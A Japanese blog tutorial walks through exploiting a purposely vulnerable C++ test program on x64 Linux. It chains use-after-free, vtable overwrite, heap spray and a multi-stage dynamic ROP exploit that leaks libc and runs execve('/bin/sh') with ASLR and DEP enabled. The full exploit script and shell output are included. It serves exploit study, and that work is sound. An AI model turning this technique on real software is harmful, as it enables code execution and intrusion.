読者です 読者をやめる 読者になる 読者になる

x64でuse-after-freeからのC++ vtable overwriteとheap sprayによるASLR+DEP回避をやってみる

「use-after-freeによるC++ vtable overwriteをやってみる」では、ASLRを無効にした条件下でシェル起動を行った。 ASLRが有効の場合、書き換えるvtableの関数ポインタが指すアドレスが推測可能でなければならないが、ヒープ領域に任意の数のオブジェクトを生成できる状況であれば、大量のオブジェクトでヒープ領域を埋め尽すことによりASLRを実質無効化することができる。 この方法はheap sprayとして知られている。 ここでは、use-after-freeからのC++ vtable overwriteに加えheap sprayを行うことで、ASLRおよびDEPが有効な条件下におけるシェル起動をやってみる。

環境

Ubuntu 14.04.1 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty

$ g++ --version
g++ (Ubuntu 4.8.2-19ubuntu1) 4.8.2

$ /lib/x86_64-linux-gnu/libc-2.19.so
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.3) stable release version 2.19, by Roland McGrath et al.

脆弱性のあるプログラムを用意する

話を簡単にするため、あらかじめheap sprayおよびuse-after-freeが可能なプログラムコードを書いてみる。

// heapspray.cpp
#include <unistd.h>
#include <cstring>

class Dog {
    char name[200];
public:
    Dog(const char *name) { strncpy(this->name, name, sizeof(this->name)-1); }
    virtual void speak() { const char *buf = ": hello.\n"; write(1, this->name, strlen(name)); write(1, buf, strlen(buf)); }
};

int create_string()
{
    int size;
    char *data;

    read(0, &size, 4);
    if (size > 0) {
        data = new char[size];
        read(0, data, size);
        // delete[] is missed
    }
    return size;
}

int main()
{
    char name[200] = {};

    // create any number of heap objects
    while (create_string() > 0) {
        ;
    }

    const char *buf = "enter the name of a dog.\n";
    write(1, buf, strlen(buf));
    read(0, name, sizeof(name));

    Dog *dog = new Dog(name);
    delete dog;

    create_string();

    // triggering use-after-free
    dog->speak();

    return 0;
}

create_string()関数は、4バイトのデータ長とデータを読み込みヒープに文字列を生成した後、そのデータ長を返す。 まずは、これをデータ長として0が指定されるまで繰り返す。 その後、インスタンスを生成してdelete、新たな文字列を生成した後、deleteされたインスタンスメンバ関数が呼ばれることでuse-after-freeが成立する。

このプログラムコードを、ASLR、DEP有効でコンパイルしてみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ g++ heapspray.cpp

次に、正常動作を確認するためのプログラムコードを書いてみる。

# test.py
import struct
from subprocess import Popen, PIPE
import time

def p32(x):
    return struct.pack('<I', x)

p = Popen('./a.out', stdin=PIPE, stdout=PIPE)

buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf

print "> %r" % p.stdout.readline().rstrip()

buf = 'pochi'
p.stdin.write(buf)
print "< %r" % buf
time.sleep(0.1)

buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf

print "> %r" % p.stdout.readline().rstrip()

p.wait()

実行すると、次のようになる。

$ python test.py
< '\x00\x00\x00\x00'
> 'enter the name of a dog.'
< 'pochi'
< '\x00\x00\x00\x00'
> 'pochi: hello.'

delete後の文字列生成を行っていないため、deleteされたインスタンスメンバ関数が、delete前の状態のままで呼ばれていることが確認できる。

heap sprayをやってみる

コンパイルされた実行ファイルをディスアセンブルし、仮想関数の呼び出し箇所を調べてみる。

$ objdump -d a.out | c++filt
00000000004008ef <main>:
  4008ef:       55                      push   rbp
  4008f0:       48 89 e5                mov    rbp,rsp
  ...
  4009ad:       e8 7e fd ff ff          call   400730 <operator delete(void*)@plt>
  4009b2:       e8 e6 fe ff ff          call   40089d <create_string()>
  4009b7:       48 8b 85 18 ff ff ff    mov    rax,QWORD PTR [rbp-0xe8]  # rax <- dog == vtable_ptr
  4009be:       48 8b 00                mov    rax,QWORD PTR [rax]       # rax <- *vtable_ptr == vtable
  4009c1:       48 8b 00                mov    rax,QWORD PTR [rax]       # rax <- vtable[0] == Dog::speak()
  4009c4:       48 8b 95 18 ff ff ff    mov    rdx,QWORD PTR [rbp-0xe8]
  4009cb:       48 89 d7                mov    rdi,rdx
  4009ce:       ff d0                   call   rax
  ...

上の結果から、dogが置かれていた箇所がvtableを指すポインタとなっており、呼び出されるDog::speak()はそのvtableの最初のエントリとなっていることがわかる。

この結果をもとに、heap sprayを行いつつ、vtable overwriteを行うテストコードを書いてみる。

# test2.py
import struct
from subprocess import Popen, PIPE
import time

def p32(x):
    return struct.pack('<I', x)

mm_brk = 0x602000
randomize_range = 0x2000000
spray_size = 0x10000
spray_count = randomize_range / spray_size
target_offset = 0x400
target = mm_brk + randomize_range + target_offset

p = Popen('./a.out', stdin=PIPE, stdout=PIPE)

# do heap spraying
for i in xrange(spray_count):
    size = spray_size - 0x10  # subtruct the size of malloc chunk
    buf = p32(size) + 'A' * size
    p.stdin.write(buf)
buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf

# send the stack buffer
print "> %r" % p.stdout.readline().rstrip()
buf = 'B' * 200
p.stdin.write(buf)
print "< %r" % buf
time.sleep(0.1)

# clobber the vtable pointer
buf = p32(200)
buf += struct.pack('<Q', target) * (200 // 8)
buf += 'C' * (200-len(buf))
p.stdin.write(buf)
print "< %r" % buf

print "> %r" % p.stdout.readline().rstrip()

p.wait()

mallocはサイズが一定の値を越える場合、heap領域を拡張するのではなくmmapを使って確保した領域にデータを置く。 そして、そのしきい値は標準で128 * 1024 = 0x20000となっている。

898  #ifndef DEFAULT_MMAP_THRESHOLD_MIN
899  #define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)
900  #endif

1008 #ifndef DEFAULT_MMAP_THRESHOLD
1009 #define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN
1010 #endif

また、x64のヒープ領域のランダム化ビット数は13 bitとなっている。 以上を踏まえて、上のコードでは0x10000バイトの文字列を0x200回生成している。 さらに、それぞれの文字列がきりのいいアドレスに配置されるよう、実際に生成される文字列のデータ長は0x10000からmalloc chunkのサイズ、2ワードを引いたものとする。 そして、use-after-freeを用いて書き換えるvtable pointerには、どの位置にヒープ領域が配置されてもデータが存在することになるアドレスを指定する。

ulimitコマンドで不正終了した際にcoreファイルを生成するようにした上で、テストコードを実行してみる。

$ ulimit -c unlimited

$ python test2.py
< '\x00\x00\x00\x00'
> 'enter the name of a dog.'
< 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'
< '\xc8\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00'
> ''

$ ls core
core

生成されたcoreファイルをもとに、gdbで終了時の状態を調べてみる。

$ gdb -q a.out core
Reading symbols from a.out...(no debugging symbols found)...done.
[New LWP 5126]
Core was generated by `./a.out'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004009ce in main ()
(gdb) set disassembly-flavor intel
(gdb) x/i $pc
=> 0x4009ce <main+223>: call   rax
(gdb) i r
rax            0x4141414141414141       4702111234474983745
rbx            0x269a010        40476688
rcx            0xffffffffffffffff       -1
rdx            0x269a010        40476688
rsi            0x269a010        40476688
rdi            0x269a010        40476688
rbp            0x7fff180709c0   0x7fff180709c0
rsp            0x7fff180708d0   0x7fff180708d0
r8             0x0      0
r9             0xd      13
r10            0x7fff18070690   140733596501648
r11            0x246    582
r12            0x4007b0 4196272
r13            0x7fff18070aa0   140733596502688
r14            0x0      0
r15            0x0      0
rip            0x4009ce 0x4009ce <main+223>
eflags         0x10203  [ CF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
(gdb) x/40gx $rsp
0x7fff180708d0: 0x0000000000400b1e      0x000000000269a010
0x7fff180708e0: 0x4242424242424242      0x4242424242424242
0x7fff180708f0: 0x4242424242424242      0x4242424242424242
0x7fff18070900: 0x4242424242424242      0x4242424242424242
0x7fff18070910: 0x4242424242424242      0x4242424242424242
0x7fff18070920: 0x4242424242424242      0x4242424242424242
0x7fff18070930: 0x4242424242424242      0x4242424242424242
0x7fff18070940: 0x4242424242424242      0x4242424242424242
0x7fff18070950: 0x4242424242424242      0x4242424242424242
0x7fff18070960: 0x4242424242424242      0x4242424242424242
0x7fff18070970: 0x4242424242424242      0x4242424242424242
0x7fff18070980: 0x4242424242424242      0x4242424242424242
0x7fff18070990: 0x4242424242424242      0x4242424242424242
0x7fff180709a0: 0x4242424242424242      0x95febd558f557600
0x7fff180709b0: 0x00007fff18070aa0      0x0000000000000000
0x7fff180709c0: 0x0000000000000000      0x00007f051aa91ec5
0x7fff180709d0: 0x0000000000000000      0x00007fff18070aa8
0x7fff180709e0: 0x0000000100000000      0x00000000004008ef
0x7fff180709f0: 0x0000000000000000      0x086127ddc51091ed
0x7fff18070a00: 0x00000000004007b0      0x00007fff18070aa0
(gdb) quit

意図した通り、ヒープ領域に配置した0x4141414141414141 (AAAAAAAA) をcallしようとして落ちていることがわかる。 つまり、ASLRが有効な条件下でも任意のアドレスを関数として呼び出すことができている。 また、スタックポインタrspが指すアドレスから2ワード先に、ローカル変数にセットされた文字列0x4242424242424242 (BBBBBBBB) が置かれていることがわかる。

エクスプロイトコードを書いてみる

上に示した結果から、vtable pointerの指す先を2ワード+call命令で積まれる1ワードの計3ワードをpopするROP gadgetに置き換えることで、ローカル変数として置かれたROPシーケンスを実行できることがわかる。 あとは、「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」で説明した方法などを用いることで、シェル起動を行うことができる。

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt
$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、Dynamic ROPによりシェル起動を行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import struct
from subprocess import Popen, PIPE
import time

def p32(x):
    return struct.pack('<I', x)

mm_brk = 0x602000
randomize_range = 0x2000000
spray_size = 0x10000
spray_count = randomize_range / spray_size
target_offset = 0x400
target = mm_brk + randomize_range + target_offset

addr_pop3 = 0x400aee            # objdump -d a.out
addr_csu_init1 = 0x400ae6       # objdump -d a.out
addr_csu_init2 = 0x400ad0       # objdump -d a.out
addr_got_write = 0x601058       # objdump -d a.out
addr_got_read = 0x601030        # objdump -d a.out
addr_got_libc_start = 0x601038  # objdump -d a.out
addr_leave_ret = 0x4008ed       # objdump -d a.out
addr_stage = 0x601080           # readelf -S a.out (.bss)

"""
0000000000400a90 <__libc_csu_init>:
  ...
  400ad0:       4c 89 ea                mov    rdx,r13
  400ad3:       4c 89 f6                mov    rsi,r14
  400ad6:       44 89 ff                mov    edi,r15d
  400ad9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  400add:       48 83 c3 01             add    rbx,0x1
  400ae1:       48 39 eb                cmp    rbx,rbp
  400ae4:       75 ea                   jne    400ad0 <__libc_csu_init+0x40>
  400ae6:       48 83 c4 08             add    rsp,0x8
  400aea:       5b                      pop    rbx
  400aeb:       5d                      pop    rbp
  400aec:       41 5c                   pop    r12
  400aee:       41 5d                   pop    r13
  400af0:       41 5e                   pop    r14
  400af2:       41 5f                   pop    r15
  400af4:       c3                      ret

0000000000400740 <read@plt>:
  400740:       ff 25 ea 08 20 00       jmp    QWORD PTR [rip+0x2008ea]        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400746:       68 03 00 00 00          push   0x3
  40074b:       e9 b0 ff ff ff          jmp    400700 <_init+0x20>

0000000000400790 <write@plt>:
  400790:       ff 25 c2 08 20 00       jmp    QWORD PTR [rip+0x2008c2]        # 601058 <_GLOBAL_OFFSET_TABLE_+0x58>
  400796:       68 08 00 00 00          push   0x8
  40079b:       e9 60 ff ff ff          jmp    400700 <_init+0x20>

0000000000400750 <__libc_start_main@plt>:
  400750:       ff 25 e2 08 20 00       jmp    QWORD PTR [rip+0x2008e2]        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400756:       68 04 00 00 00          push   0x4
  40075b:       e9 a0 ff ff ff          jmp    400700 <_init+0x20>

000000000040089d <_Z13create_stringv>:
  ...
  4008ed:       c9                      leave
  4008ee:       c3                      ret
"""

p = Popen('./a.out', stdin=PIPE, stdout=PIPE)

# do heap spraying
for i in xrange(spray_count):
    size = spray_size - 0x10  # subtruct the size of malloc chunk
    buf = p32(size)
    buf += struct.pack('<Q', addr_pop3) * (size // 8)  # stack shifting and go to stage 1
    buf += 'A' * (size-len(buf))
    p.stdin.write(buf)
buf = p32(0)
p.stdin.write(buf)
print "< %r" % buf

# stage 1: ROP stager
print "> %r" % p.stdout.readline().rstrip()
buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_read, 0x100, addr_stage, 0)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, addr_stage-8, 0, 0, 0, 0)
buf += struct.pack('<Q', addr_leave_ret)
p.stdin.write(buf)
print "< %r" % buf
print "[+] length of rop stager: %d" % len(buf)
time.sleep(0.1)

# clobber the vtable pointer
buf = p32(200)
buf += struct.pack('<Q', target) * (200 // 8)
buf += 'C' * (200-len(buf))
p.stdin.write(buf)
print "< %r" % buf

# stage 2: leak the address of libc_start_main()
buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, 8, addr_got_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 0x100, addr_stage+0x80, 0)
buf += struct.pack('<Q', addr_csu_init2)  # after the calling read(), here is overwritten by stage 3
p.stdin.write(buf)

# stage 3: leak the libc memory
data = p.stdout.read(8)
addr_libc_start = struct.unpack('<Q', data)[0]
libc_readsize = 0x160000

buf = struct.pack('<QQQQQQQQ', addr_csu_init1, 0, 0, 1, addr_got_write, libc_readsize, addr_libc_start, 1)
buf += struct.pack('<QQQQQQQQ', addr_csu_init2, 0, 0, 1, addr_got_read, 0x100, addr_stage+0x100, 0)
buf += struct.pack('<Q', addr_csu_init2)  # after the calling read(), here is overwritten by stage 4
p.stdin.write(buf)

# stage 4: call execve() using dynamic ROP
data = p.stdout.read(libc_readsize)
nr_execve = 59  # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h

addr_pop_rax = addr_libc_start + data.index('\x58\xc3')   # pop rax; ret
addr_pop_rdi = addr_libc_start + data.index('\x5f\xc3')   # pop rdi; ret
addr_pop_rsi = addr_libc_start + data.index('\x5e\xc3')   # pop rsi; ret
addr_pop_rdx = addr_libc_start + data.index('\x5a\xc3')   # pop rdx; ret
addr_syscall = addr_libc_start + data.index('\x0f\x05')   # syscall
addr_binsh = addr_libc_start + data.index('/bin/sh\x00')  # "/bin/sh"

buf = struct.pack('<QQ', addr_pop_rax, nr_execve)
buf += struct.pack('<QQ', addr_pop_rdi, addr_binsh)
buf += struct.pack('<QQ', addr_pop_rsi, 0)
buf += struct.pack('<QQ', addr_pop_rdx, 0)
buf += struct.pack('<Q', addr_syscall)
p.stdin.write(buf)

time.sleep(0.1)
p.stdin.write('exec /bin/sh <&2 >&2\n')

p.wait()

上のコードの内容を簡単に説明すると次のようになる。

  1. heap sprayを行い、あるアドレスにpop命令を3回行うROP gadget(pop3 gadget)のアドレスを配置する
  2. use-after-freeからのC++ vtable overwriteにより、上のアドレスをcallする
  3. pop3 gadgetによりローカル変数にセットしたROPシーケンス(stage 1)が実行される
  4. stage 1としてROP stagerを行い、任意長のROPシーケンス(stage 2)を読み込む
  5. stage 2として__libc_start_mainのGOTアドレスを書き出し、stage 3を読み込む
  6. stage 3として__libc_start_mainからのlibcメモリを読み出し、stage 4を読み込む
  7. stage 4として読み出したlibcメモリをもとに、システムコールとしてexecve("/bin/sh", NULL, NULL)を実行する

実際に、エクスプロイトコードを実行してみる。

$ python exploit.py
< '\x00\x00\x00\x00'
> 'enter the name of a dog.'
< '\xe6\n@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x000\x10`\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x80\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd0\n@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x08@\x00\x00\x00\x00\x00'
[+] length of rop stager: 136
< '\xc8\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00\x00$`\x02\x00\x00\x00\x00'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

上の結果より、ASLRおよびDEPが有効な条件下でheap sprayによりシェルが起動できていることが確認できた。 また、stage 1のROP stagerに必要なデータ長は136バイトであることがわかる。

スクリプトエンジンを利用したheap sprayと関連手法

上のプログラムコードではわざと任意の数の文字列を生成できるようにしたが、実際にはheap sprayはWebブラウザなどに搭載されたスクリプトエンジンを使って行われることが多い。 JavaScriptなどではスクリプトとして任意の数の文字列を生成することができるため、そこにuse-after-freeを合わせることで概ね上の内容と同じようなことができる。

また、ここではpop3 gadgetを使ってstack pivot(より正確にはesp lifting)を行ったため、ヒープ領域には単純にpop3 gadgetを指すアドレスを並べるだけで十分であった。 一方、xchg rax, rspなどレジスタの値を用いてstack pivotを行う場合、メモリページ内のデータの位置(すなわち、アドレスの下位12ビット)の調整が必要な場合がある。 たとえば、あらかじめ次の空き領域がページ境界ぴったりとなるようにヒープ領域を確保し、その境界を先頭としてページサイズの定数倍となる領域の確保を繰り返すことでアドレスの下位12ビットを固定することができる(実際にはmalloc chunkなどのメタデータのサイズも考慮に入れる必要がある)。 このような調整は「heap feng shui」と呼ばれる。 また、この場合のheap sprayを指して「precise heap spray」と呼ぶことがある。

他には、JavaScriptスクリプトエンジンがJIT(Just-In-Time)コンパイルを行うことを利用し、ヒープ領域をnop相当の命令で塗り潰す「JIT spray」と呼ばれる手法もある。また、HTML5 CanvasFlashActionScript)を使ってheap sprayを行う方法も知られている。

関連リンク